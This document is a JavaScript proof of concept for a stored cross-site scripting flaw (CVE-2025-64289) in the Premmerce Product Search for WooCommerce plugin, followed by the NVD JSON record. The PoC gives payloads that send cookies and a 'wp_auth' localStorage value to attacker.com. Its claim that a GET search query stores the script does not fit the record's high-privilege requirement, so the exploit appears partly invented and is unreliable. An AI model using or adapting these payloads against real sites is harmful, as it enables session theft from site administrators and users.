CVE-2025-64289

// CVE-2025-64289 Stored XSS PoC // Target: Premmerce Product Search for WooCommerce <= 2.2.5 // Step 1: Inject malicious JavaScript via search input const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Step 2: Send the payload to the search endpoint fetch(window.location.origin + '/?s=' + encodeURIComponent(maliciousPayload), { method: 'GET', credentials: 'include' }); // Alternative Payload for event handlers (bypasses some filters): const altPayload = '" onerror="fetch("https://attacker.com/log?data="+localStorage.getItem("wp_auth"))" x="'; // Step 3: Trigger the stored XSS by visiting a page where search results are displayed // When admin or other users view the search results page, the script executes automatically

{"cve": {"id": "CVE-2025-64289", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:46.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Premmerce Premmerce Product Search for WooCommerce premmerce-search allows Stored XSS.This issue affects Premmerce Product Search for WooCommerce: from n/a through <= 2.2.5."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web (Cross-site Scripting') en Premmerce Premmerce Product Search for WooCommerce premmerce-search permite un ataque de tipo XSS almacenado. Este problema afecta a Premmerce Product Search for WooCommerce: desde n/a hasta menor igual que 2.2.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-search/vulnerability/wordpress-premmerce-product-search-for-woocommerce-plugin-2-2-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}